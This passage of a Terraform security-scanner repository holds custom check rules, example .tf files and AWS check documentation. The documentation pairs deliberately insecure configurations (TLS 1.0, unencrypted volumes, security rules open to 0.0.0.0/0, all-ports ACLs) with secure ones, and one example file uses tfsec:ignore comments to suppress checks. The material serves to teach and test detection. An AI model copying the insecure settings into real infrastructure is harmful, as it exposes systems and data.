required Environment tag was missing or invalid 6 | matchSpec: 7 | action: contains 8 | name: tags 9 | value: 10 | Environment: 11 | action: isAny 12 | value: 13 | - production 14 | - test 15 | - dev 16 | - staging 17 | 18 | requiredTypes: 19 | - resource 20 | severity: HIGH 21 | requiredLabels: 22 | - aws_lb 23 | - code: TAG_Environment 24 | description: Custom check to ensure the Environment tag is applied 25 | errorMessage: The required Environment tag was missing 26 | matchSpec: 27 | action: contains 28 | name: tags 29 | value: 30 | Environment: 31 | action: isAny 32 | value: 33 | - production 34 | - test 35 | - development 36 | requiredTypes: 37 | - resource 38 | severity: ERROR 39 | requiredLabels: 40 | - aws_instance 41 | - code: S3TAG 42 | description: Custom check to ensure the CostCentre tag is applied to aws_s3_bucket 43 | errorMessage: The required Environment tag was missing 44 | matchSpec: 45 | action: contains 46 | name: tags 47 | value: 48 | CostCentre: 49 | action: regexMatches 50 | value: "COST\\d{3}" 51 | requiredTypes: 52 | - resource 53 | severity: ERROR 54 | requiredLabels: 55 | - aws_s3_bucket -------------------------------------------------------------------------------- /_examples/custom_functions/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_instance" "bastion" { 2 | metadata_options { 3 | http_endpoint = "enabled" 4 | http_put_response_hop_limit = 1 5 | http_tokens = "required" 6 | } 7 | 8 | tags = { 9 | Environment = "test" 10 | } 11 | } 12 | 13 | 14 | resource "aws_s3_bucket" "disabled_versioned_bucket" { 15 | bucket = "my-tf-test-bucket" 16 | acl = "private" 17 | 18 | versioning { 19 | enabled = true 20 | } 21 | 22 | tags = { 23 | "CostCentre" : "CD0012" 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /_examples/custom_ofType/.tfsec/oftype_tfchecks.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | checks: 3 | - code: TypeLimit 4 | description: Ensure that only specific types are used 5 | requiredTypes: 6 | - resource 7 | requiredLabels: 8 | - "*" 9 | errorMessage: resource types not on the allowed list were identified 10 | matchSpec: 11 | action: ofType 12 | name: ofType 13 | value: 14 | - aws_cloudwatch_metric_alarm 15 | - aws_cloudwatch_dashboard 16 | - aws_sns_topic 17 | - null_resource 18 | severity: WARNING 19 | -------------------------------------------------------------------------------- /_examples/custom_ofType/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_sns_topic" "sns_topic" { 2 | 3 | } 4 | 5 | resource "aws_instance" "some_instance" { 6 | 7 | } -------------------------------------------------------------------------------- /_examples/dynamics/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_s3_bucket" "this" { 2 | 3 | 4 | dynamic "website" { 5 | for_each = length(keys(var.website)) == 0 ? [] : [var.website] 6 | 7 | content { 8 | index_document = lookup(website.value, "index_document", null) 9 | error_document = lookup(website.value, "error_document", null) 10 | redirect_all_requests_to = lookup(website.value, "redirect_all_requests_to", null) 11 | routing_rules = lookup(website.value, "routing_rules", null) 12 | } 13 | } 14 | } 15 | 16 | resource "aws_s3_bucket" "that"{ 17 | name = concat(aws_s3_bucket.website.index_document,"") 18 | } 19 | -------------------------------------------------------------------------------- /_examples/foreach-module/module/main.tf: -------------------------------------------------------------------------------- 1 | 2 | resource "aws_s3_bucket" "for_web" { 3 | 4 | bucket = var.bucket 5 | acl = "private" 6 | 7 | versioning { 8 | enabled = false 9 | mfa_delete = false 10 | } 11 | } 12 | 13 | resource "aws_s3_bucket_public_access_block" "for_web_public" { 14 | 15 | bucket = aws_s3_bucket.for_web.bucket 16 | 17 | block_public_acls = true 18 | block_public_policy = true 19 | ignore_public_acls = true 20 | restrict_public_buckets = true 21 | } 22 | -------------------------------------------------------------------------------- /_examples/foreach-module/src/main.tf: -------------------------------------------------------------------------------- 1 | 2 | variable "targets" { 3 | default={ 4 | "a" = { 5 | name = "test" 6 | }, 7 | "b" = { 8 | name = "test" 9 | } 10 | } 11 | } 12 | 13 | 14 | module "ohdear" { 15 | for_each = var.targets 16 | source = "../module/" 17 | name = each.value.name 18 | } 19 | -------------------------------------------------------------------------------- /_examples/foreach/main.tf: -------------------------------------------------------------------------------- 1 | 2 | locals{ 3 | prefix = "blah" 4 | } 5 | 6 | # tfsec:ignore:AWS002 tfsec:ignore:AWS017 tfsec:ignore:AWS077 7 | resource "aws_s3_bucket" "for_web" { 8 | for_each = var.targets 9 | 10 | bucket = "${local.prefix}-${lookup(each.value, "name")}-web" 11 | acl = "private" 12 | 13 | versioning { 14 | enabled = false 15 | mfa_delete = false 16 | } 17 | 18 | tags = { 19 | Name = "${local.prefix}-${lookup(each.value, "name")}-web" 20 | } 21 | } 22 | 23 | resource "aws_s3_bucket_public_access_block" "for_web_public" { 24 | for_each = var.targets2 25 | 26 | bucket = aws_s3_bucket.for_web[each.key].id 27 | 28 | block_public_acls = true 29 | block_public_policy = true 30 | ignore_public_acls = true 31 | restrict_public_buckets = true 32 | } 33 | 34 | variable "targets" { 35 | default={ 36 | "a" = { 37 | name = "test" 38 | }, 39 | "b" = { 40 | name = "test" 41 | }, 42 | "c" = { 43 | name = "test" 44 | } 45 | } 46 | } 47 | 48 | 49 | variable "targets2" { 50 | default={ 51 | "a" = { 52 | name = "test" 53 | }, 54 | "b" = { 55 | name = "test" 56 | } 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /_examples/good/good.tf: -------------------------------------------------------------------------------- 1 | resource "null_resource" "good_resource" { 2 | } 3 | -------------------------------------------------------------------------------- /_examples/grouping/main.tf: -------------------------------------------------------------------------------- 1 | 2 | module "a" { 3 | source = "./module" 4 | } 5 | 6 | module "b" { 7 | source = "./module" 8 | } 9 | 10 | module "c" { 11 | source = "./module" 12 | } 13 | 14 | module "d" { 15 | source = "./module" 16 | } 17 | 18 | module "e" { 19 | source = "./module" 20 | } 21 | 22 | module "f" { 23 | source = "./module" 24 | } 25 | -------------------------------------------------------------------------------- /_examples/grouping/module/main.tf: -------------------------------------------------------------------------------- 1 | 2 | resource "aws_s3_bucket" "bad" { 3 | 4 | } 5 | -------------------------------------------------------------------------------- /_examples/iam/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_iam_policy" "policy" { 2 | name = "${random_pet.pet_name.id}-policy" 3 | description = "My test policy" 4 | 5 | 6 | 7 | 8 | policy = <low 8 | 9 | ### Explanation 10 | 11 | X-Ray tracing enables end-to-end debugging and analysis of all API Gateway HTTP requests. 12 | 13 | ### Possible Impact 14 | Without full tracing enabled it is difficult to trace the flow of logs 15 | 16 | ### Suggested Resolution 17 | Enable tracing 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-api-gateway-enable-tracing check. 23 | ```terraform 24 | 25 | resource "aws_api_gateway_rest_api" "test" { 26 | 27 | } 28 | 29 | resource "aws_api_gateway_stage" "bad_example" { 30 | stage_name = "prod" 31 | rest_api_id = aws_api_gateway_rest_api.test.id 32 | deployment_id = aws_api_gateway_deployment.test.id 33 | xray_tracing_enabled = false 34 | } 35 | 36 | ``` 37 | 38 | 39 | 40 | ### Secure Example 41 | 42 | The following example will pass the aws-api-gateway-enable-tracing check. 43 | ```terraform 44 | 45 | resource "aws_api_gateway_rest_api" "test" { 46 | 47 | } 48 | 49 | resource "aws_api_gateway_stage" "good_example" { 50 | stage_name = "prod" 51 | rest_api_id = aws_api_gateway_rest_api.test.id 52 | deployment_id = aws_api_gateway_deployment.test.id 53 | xray_tracing_enabled = true 54 | } 55 | 56 | ``` 57 | 58 | 59 | 60 | ### Links 61 | 62 | 63 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/api_gateway_stage#xray_tracing_enabled](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/api_gateway_stage#xray_tracing_enabled){:target="_blank" rel="nofollow noreferrer noopener"} 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /docs/checks/aws/api-gateway/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: api-gateway 3 | --- 4 | 5 | # api-gateway 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-access-logging](enable-access-logging) API Gateway stages for V1 and V2 should have access logging enabled 11 | 12 | - [enable-cache-encryption](enable-cache-encryption) API Gateway must have cache enabled 13 | 14 | - [enable-tracing](enable-tracing) API Gateway must have X-Ray tracing enabled 15 | 16 | - [no-public-access](no-public-access) No unauthorized access to API Gateway methods 17 | 18 | - [use-secure-tls-policy](use-secure-tls-policy) API Gateway domain name uses outdated SSL/TLS protocols. 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /docs/checks/aws/api-gateway/use-secure-tls-policy/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: API Gateway domain name uses outdated SSL/TLS protocols. 3 | --- 4 | 5 | # API Gateway domain name uses outdated SSL/TLS protocols. 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | You should not use outdated/insecure TLS versions for encryption. You should be using TLS v1.2+. 12 | 13 | ### Possible Impact 14 | Outdated SSL policies increase exposure to known vulnerabilities 15 | 16 | ### Suggested Resolution 17 | Use the most modern TLS/SSL policies available 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-api-gateway-use-secure-tls-policy check. 23 | ```terraform 24 | 25 | resource "aws_api_gateway_domain_name" "bad_example" { 26 | security_policy = "TLS_1_0" 27 | } 28 | 29 | ``` 30 | 31 | 32 | 33 | ### Secure Example 34 | 35 | The following example will pass the aws-api-gateway-use-secure-tls-policy check. 36 | ```terraform 37 | 38 | resource "aws_api_gateway_domain_name" "good_example" { 39 | security_policy = "TLS_1_2" 40 | } 41 | 42 | ``` 43 | 44 | 45 | 46 | ### Links 47 | 48 | 49 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/api_gateway_domain_name#security_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/api_gateway_domain_name#security_policy){:target="_blank" rel="nofollow noreferrer noopener"} 50 | 51 | - [https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-custom-domain-tls-version.html](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-custom-domain-tls-version.html){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /docs/checks/aws/athena/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: athena 3 | --- 4 | 5 | # athena 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-at-rest-encryption](enable-at-rest-encryption) Athena databases and workgroup configurations are created unencrypted at rest by default, they should be encrypted 11 | 12 | - [no-encryption-override](no-encryption-override) Athena workgroups should enforce configuration to prevent client disabling encryption 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /docs/checks/aws/autoscaling/enable-at-rest-encryption/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Launch configuration with unencrypted block device. 3 | --- 4 | 5 | # Launch configuration with unencrypted block device. 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | Block devices should be encrypted to ensure sensitive data is held securely at rest. 12 | 13 | ### Possible Impact 14 | The block device could be compromised and read from 15 | 16 | ### Suggested Resolution 17 | Turn on encryption for all block devices 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-autoscaling-enable-at-rest-encryption check. 23 | ```terraform 24 | 25 | resource "aws_launch_configuration" "bad_example" { 26 | root_block_device { 27 | encrypted = false 28 | } 29 | } 30 | 31 | ``` 32 | 33 | 34 | 35 | ### Secure Example 36 | 37 | The following example will pass the aws-autoscaling-enable-at-rest-encryption check. 38 | ```terraform 39 | 40 | resource "aws_launch_configuration" "good_example" { 41 | root_block_device { 42 | encrypted = true 43 | } 44 | } 45 | 46 | ``` 47 | 48 | 49 | 50 | ### Links 51 | 52 | 53 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance#ebs-ephemeral-and-root-block-devices](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance#ebs-ephemeral-and-root-block-devices){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/RootDeviceStorage.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/RootDeviceStorage.html){:target="_blank" rel="nofollow noreferrer noopener"} 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /docs/checks/aws/autoscaling/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: autoscaling 3 | --- 4 | 5 | # autoscaling 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-at-rest-encryption](enable-at-rest-encryption) Launch configuration with unencrypted block device. 11 | 12 | - [enforce-http-token-imds](enforce-http-token-imds) aws_instance should activate session tokens for Instance Metadata Service. 13 | 14 | - [no-public-ip](no-public-ip) Launch configuration should not have a public IP address. 15 | 16 | - [no-secrets-in-user-data](no-secrets-in-user-data) User data for EC2 instances must not contain sensitive AWS keys 17 | 18 | - [no-sensitive-info](no-sensitive-info) Ensure all data stored in the launch configuration EBS is securely encrypted 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /docs/checks/aws/cloudfront/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: cloudfront 3 | --- 4 | 5 | # cloudfront 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-logging](enable-logging) Cloudfront distribution should have Access Logging configured 11 | 12 | - [enable-waf](enable-waf) CloudFront distribution does not have a WAF in front. 13 | 14 | - [enforce-https](enforce-https) CloudFront distribution allows unencrypted (HTTP) communications. 15 | 16 | - [use-secure-tls-policy](use-secure-tls-policy) CloudFront distribution uses outdated SSL/TLS protocols. 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /docs/checks/aws/cloudtrail/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: cloudtrail 3 | --- 4 | 5 | # cloudtrail 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-all-regions](enable-all-regions) Cloudtrail should be enabled in all regions regardless of where your AWS resources are generally homed 11 | 12 | - [enable-at-rest-encryption](enable-at-rest-encryption) Cloudtrail should be encrypted at rest to secure access to sensitive trail data 13 | 14 | - [enable-log-validation](enable-log-validation) Cloudtrail log validation should be enabled to prevent tampering of log data 15 | 16 | - [ensure-cloudwatch-integration](ensure-cloudwatch-integration) CloudTrail logs should be stored in S3 and also sent to CloudWatch Logs 17 | 18 | - [no-public-log-access](no-public-log-access) The S3 Bucket backing Cloudtrail should be private 19 | 20 | - [require-bucket-access-logging](require-bucket-access-logging) You should enable bucket access logging on the CloudTrail S3 bucket. 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /docs/checks/aws/cloudwatch/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: cloudwatch 3 | --- 4 | 5 | # cloudwatch 6 | 7 | ## Checks 8 | 9 | 10 | - [log-group-customer-key](log-group-customer-key) CloudWatch log groups should be encrypted using CMK 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/aws/cloudwatch/log-group-customer-key/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: CloudWatch log groups should be encrypted using CMK 3 | --- 4 | 5 | # CloudWatch log groups should be encrypted using CMK 6 | 7 | ### Default Severity: low 8 | 9 | ### Explanation 10 | 11 | CloudWatch log groups are encrypted by default, however, to get the full benefit of controlling key rotation and other KMS aspects a KMS CMK should be used. 12 | 13 | ### Possible Impact 14 | Log data may be leaked if the logs are compromised. No auditing of who have viewed the logs. 15 | 16 | ### Suggested Resolution 17 | Enable CMK encryption of CloudWatch Log Groups 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-cloudwatch-log-group-customer-key check. 23 | ```terraform 24 | 25 | resource "aws_cloudwatch_log_group" "bad_example" { 26 | name = "bad_example" 27 | 28 | } 29 | 30 | ``` 31 | 32 | 33 | 34 | ### Secure Example 35 | 36 | The following example will pass the aws-cloudwatch-log-group-customer-key check. 37 | ```terraform 38 | 39 | resource "aws_cloudwatch_log_group" "good_example" { 40 | name = "good_example" 41 | 42 | kms_key_id = aws_kms_key.log_key.arn 43 | } 44 | 45 | ``` 46 | 47 | 48 | 49 | ### Links 50 | 51 | 52 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/cloudwatch_log_group#kms_key_id](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/cloudwatch_log_group#kms_key_id){:target="_blank" rel="nofollow noreferrer noopener"} 53 | 54 | - [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/encrypt-log-data-kms.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/encrypt-log-data-kms.html){:target="_blank" rel="nofollow noreferrer noopener"} 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /docs/checks/aws/codebuild/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: codebuild 3 | --- 4 | 5 | # codebuild 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-encryption](enable-encryption) CodeBuild Project artifacts encryption should not be disabled 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/aws/config/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: config 3 | --- 4 | 5 | # config 6 | 7 | ## Checks 8 | 9 | 10 | - [aggregate-all-regions](aggregate-all-regions) Config configuration aggregator should be using all regions for source 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/aws/documentdb/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: documentdb 3 | --- 4 | 5 | # documentdb 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-log-export](enable-log-export) DocumentDB logs export should be enabled 11 | 12 | - [enable-storage-encryption](enable-storage-encryption) DocumentDB storage must be encrypted 13 | 14 | - [encryption-customer-key](encryption-customer-key) DocumentDB encryption should use Customer Managed Keys 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /docs/checks/aws/dynamodb/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: dynamodb 3 | --- 4 | 5 | # dynamodb 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-at-rest-encryption](enable-at-rest-encryption) DAX Cluster and tables should always encrypt data at rest 11 | 12 | - [enable-recovery](enable-recovery) Point in time recovery should be enabled to protect DynamoDB table 13 | 14 | - [table-customer-key](table-customer-key) DynamoDB tables should use at rest encryption with a Customer Managed Key 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /docs/checks/aws/ebs/enable-volume-encryption/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: EBS volumes must be encrypted 3 | --- 4 | 5 | # EBS volumes must be encrypted 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | By enabling encryption on EBS volumes you protect the volume, the disk I/O and any derived snapshots from compromise if intercepted. 12 | 13 | ### Possible Impact 14 | Unencrypted sensitive data is vulnerable to compromise. 15 | 16 | ### Suggested Resolution 17 | Enable encryption of EBS volumes 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-ebs-enable-volume-encryption check. 23 | ```terraform 24 | 25 | resource "aws_ebs_volume" "bad_example" { 26 | availability_zone = "us-west-2a" 27 | size = 40 28 | 29 | tags = { 30 | Name = "HelloWorld" 31 | } 32 | encrypted = false 33 | } 34 | 35 | ``` 36 | 37 | 38 | 39 | ### Secure Example 40 | 41 | The following example will pass the aws-ebs-enable-volume-encryption check. 42 | ```terraform 43 | 44 | resource "aws_ebs_volume" "good_example" { 45 | availability_zone = "us-west-2a" 46 | size = 40 47 | 48 | tags = { 49 | Name = "HelloWorld" 50 | } 51 | encrypted = true 52 | } 53 | 54 | ``` 55 | 56 | 57 | 58 | ### Links 59 | 60 | 61 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ebs_volume#encrypted](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ebs_volume#encrypted){:target="_blank" rel="nofollow noreferrer noopener"} 62 | 63 | - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html){:target="_blank" rel="nofollow noreferrer noopener"} 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /docs/checks/aws/ebs/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: ebs 3 | --- 4 | 5 | # ebs 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-volume-encryption](enable-volume-encryption) EBS volumes must be encrypted 11 | 12 | - [encryption-customer-key](encryption-customer-key) EBS volume encryption should use Customer Managed Keys 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /docs/checks/aws/ec2/enable-launch-config-at-rest-encryption/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Launch configuration with unencrypted block device. 3 | --- 4 | 5 | # Launch configuration with unencrypted block device. 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | Block devices should be encrypted to ensure sensitive data is held securely at rest. 12 | 13 | ### Possible Impact 14 | The block device could be compromised and read from 15 | 16 | ### Suggested Resolution 17 | Turn on encryption for all block devices 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-ec2-enable-launch-config-at-rest-encryption check. 23 | ```terraform 24 | 25 | resource "aws_launch_configuration" "bad_example" { 26 | root_block_device { 27 | encrypted = false 28 | } 29 | } 30 | 31 | ``` 32 | 33 | 34 | 35 | ### Secure Example 36 | 37 | The following example will pass the aws-ec2-enable-launch-config-at-rest-encryption check. 38 | ```terraform 39 | 40 | resource "aws_launch_configuration" "good_example" { 41 | root_block_device { 42 | encrypted = true 43 | } 44 | } 45 | 46 | ``` 47 | 48 | 49 | 50 | ### Links 51 | 52 | 53 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance#ebs-ephemeral-and-root-block-devices](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance#ebs-ephemeral-and-root-block-devices){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/RootDeviceStorage.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/RootDeviceStorage.html){:target="_blank" rel="nofollow noreferrer noopener"} 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /docs/checks/aws/ec2/enable-volume-encryption/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: EBS volumes must be encrypted 3 | --- 4 | 5 | # EBS volumes must be encrypted 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | By enabling encryption on EBS volumes you protect the volume, the disk I/O and any derived snapshots from compromise if intercepted. 12 | 13 | ### Possible Impact 14 | Unencrypted sensitive data is vulnerable to compromise. 15 | 16 | ### Suggested Resolution 17 | Enable encryption of EBS volumes 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-ec2-enable-volume-encryption check. 23 | ```terraform 24 | 25 | resource "aws_ebs_volume" "bad_example" { 26 | availability_zone = "us-west-2a" 27 | size = 40 28 | 29 | tags = { 30 | Name = "HelloWorld" 31 | } 32 | encrypted = false 33 | } 34 | 35 | ``` 36 | 37 | 38 | 39 | ### Secure Example 40 | 41 | The following example will pass the aws-ec2-enable-volume-encryption check. 42 | ```terraform 43 | 44 | resource "aws_ebs_volume" "good_example" { 45 | availability_zone = "us-west-2a" 46 | size = 40 47 | 48 | tags = { 49 | Name = "HelloWorld" 50 | } 51 | encrypted = true 52 | } 53 | 54 | ``` 55 | 56 | 57 | 58 | ### Links 59 | 60 | 61 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ebs_volume#encrypted](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ebs_volume#encrypted){:target="_blank" rel="nofollow noreferrer noopener"} 62 | 63 | - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html){:target="_blank" rel="nofollow noreferrer noopener"} 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /docs/checks/aws/ec2/no-default-vpc/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: AWS best practice to not use the default VPC for workflows 3 | --- 4 | 5 | # AWS best practice to not use the default VPC for workflows 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | Default VPC does not have a lot of the critical security features that standard VPC comes with, new resources should not be created in the default VPC and it should not be present in the Terraform. 12 | 13 | ### Possible Impact 14 | The default VPC does not have critical security features applied 15 | 16 | ### Suggested Resolution 17 | Create a non-default vpc for resources to be created in 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-ec2-no-default-vpc check. 23 | ```terraform 24 | 25 | resource "aws_default_vpc" "default" { 26 | tags = { 27 | Name = "Default VPC" 28 | } 29 | } 30 | 31 | ``` 32 | 33 | 34 | 35 | ### Secure Example 36 | 37 | The following example will pass the aws-ec2-no-default-vpc check. 38 | ```terraform 39 | 40 | # no aws default vpc present 41 | 42 | ``` 43 | 44 | 45 | 46 | ### Links 47 | 48 | 49 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/default_vpc](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/default_vpc){:target="_blank" rel="nofollow noreferrer noopener"} 50 | 51 | - [https://docs.aws.amazon.com/vpc/latest/userguide/default-vpc.html](https://docs.aws.amazon.com/vpc/latest/userguide/default-vpc.html){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /docs/checks/aws/ec2/no-excessive-port-access/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: An ingress Network ACL rule allows ALL ports. 3 | --- 4 | 5 | # An ingress Network ACL rule allows ALL ports. 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | Ensure access to specific required ports is allowed, and nothing else. 12 | 13 | ### Possible Impact 14 | All ports exposed for egressing data 15 | 16 | ### Suggested Resolution 17 | Set specific allowed ports 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-ec2-no-excessive-port-access check. 23 | ```terraform 24 | 25 | resource "aws_network_acl_rule" "bad_example" { 26 | egress = false 27 | protocol = "all" 28 | rule_action = "allow" 29 | cidr_block = "0.0.0.0/0" 30 | } 31 | 32 | ``` 33 | 34 | 35 | 36 | ### Secure Example 37 | 38 | The following example will pass the aws-ec2-no-excessive-port-access check. 39 | ```terraform 40 | 41 | resource "aws_network_acl_rule" "good_example" { 42 | egress = false 43 | protocol = "tcp" 44 | from_port = 22 45 | to_port = 22 46 | rule_action = "allow" 47 | cidr_block = "0.0.0.0/0" 48 | } 49 | 50 | ``` 51 | 52 | 53 | 54 | ### Links 55 | 56 | 57 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/network_acl_rule#to_port](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/network_acl_rule#to_port){:target="_blank" rel="nofollow noreferrer noopener"} 58 | 59 | - [https://docs.aws.amazon.com/vpc/latest/userguide/vpc-network-acls.html](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-network-acls.html){:target="_blank" rel="nofollow noreferrer noopener"} 60 | 61 | 62 | 63 | -------------------------------------------------------------------------------- /docs/checks/aws/ec2/no-public-egress-sgr/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: An egress security group rule allows traffic to /0. 3 | --- 4 | 5 | # An egress security group rule allows traffic to /0. 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | Opening up ports to connect out to the public internet is generally to be avoided. You should restrict access to IP addresses or ranges that are explicitly required where possible. 12 | 13 | ### Possible Impact 14 | Your port is egressing data to the internet 15 | 16 | ### Suggested Resolution 17 | Set a more restrictive cidr range 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-ec2-no-public-egress-sgr check. 23 | ```terraform 24 | 25 | resource "aws_security_group" "bad_example" { 26 | egress { 27 | cidr_blocks = ["0.0.0.0/0"] 28 | } 29 | } 30 | 31 | ``` 32 | 33 | 34 | 35 | ### Secure Example 36 | 37 | The following example will pass the aws-ec2-no-public-egress-sgr check. 38 | ```terraform 39 | 40 | resource "aws_security_group" "good_example" { 41 | egress { 42 | cidr_blocks = ["1.2.3.4/32"] 43 | } 44 | } 45 | 46 | ``` 47 | 48 | 49 | 50 | ### Links 51 | 52 | 53 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/security_group](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/security_group){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | - [https://docs.aws.amazon.com/whitepapers/latest/building-scalable-secure-multi-vpc-network-infrastructure/centralized-egress-to-internet.html](https://docs.aws.amazon.com/whitepapers/latest/building-scalable-secure-multi-vpc-network-infrastructure/centralized-egress-to-internet.html){:target="_blank" rel="nofollow noreferrer noopener"} 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /docs/checks/aws/ec2/no-public-ingress-sgr/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: An ingress security group rule allows traffic from /0. 3 | --- 4 | 5 | # An ingress security group rule allows traffic from /0. 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | Opening up ports to the public internet is generally to be avoided. You should restrict access to IP addresses or ranges that explicitly require it where possible. 12 | 13 | ### Possible Impact 14 | Your port exposed to the internet 15 | 16 | ### Suggested Resolution 17 | Set a more restrictive cidr range 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-ec2-no-public-ingress-sgr check. 23 | ```terraform 24 | 25 | resource "aws_security_group_rule" "bad_example" { 26 | type = "ingress" 27 | cidr_blocks = ["0.0.0.0/0"] 28 | } 29 | 30 | ``` 31 | 32 | 33 | 34 | ### Secure Example 35 | 36 | The following example will pass the aws-ec2-no-public-ingress-sgr check. 37 | ```terraform 38 | 39 | resource "aws_security_group_rule" "good_example" { 40 | type = "ingress" 41 | cidr_blocks = ["10.0.0.0/16"] 